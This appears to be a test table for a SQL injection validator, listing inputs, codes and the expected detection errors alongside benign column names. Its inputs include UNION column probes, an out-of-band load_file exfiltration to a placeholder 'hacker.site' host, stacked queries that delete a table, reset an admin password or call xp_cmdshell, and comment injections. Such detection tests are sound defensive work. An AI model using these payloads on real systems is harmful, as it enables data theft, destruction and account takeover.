| 1' Union Select null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' union select null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| 1' UNION SELECT null, null, null | 23 | SQL validation error: invalid SQL statement (detected 'detect-column' pattern) |
| checkedOnDate | 23 | |
| officeName | 23 | |
| resourceId | 23 | |
| clientId | 23 | |
| processingResult | 23 | |
| clientName | 23 | |
| maker | 23 | |
| subresourceId | 23 | |
| checker | 23 | |
| savingsAccountNo | 23 | |
| loanAccountNo | 23 | |
| groupName | 23 | |
| entityName | 23 | |
| madeOnDate | 23 | |
| id | 23 | |
| loanId | 23 | |
| actionName | 23 | |
| select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); | 17 | SQL validation error: invalid SQL statement (detected 'detect-out-of-bands' pattern) |
| 1; DELETE FROM products | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
| 1; UPDATE members SET password='pwd' WHERE username='admin' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
| 1; exec master..xp_cmdshell 'DEL important_file.txt' | 19 | SQL validation error: invalid SQL statement (detected 'inject-stacked-query' pattern) |
| 123 -- | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
| ' /* | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
| abc' # | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |
| 2 ({ | 11 | SQL validation error: invalid SQL statement (detected 'inject-comment' pattern) |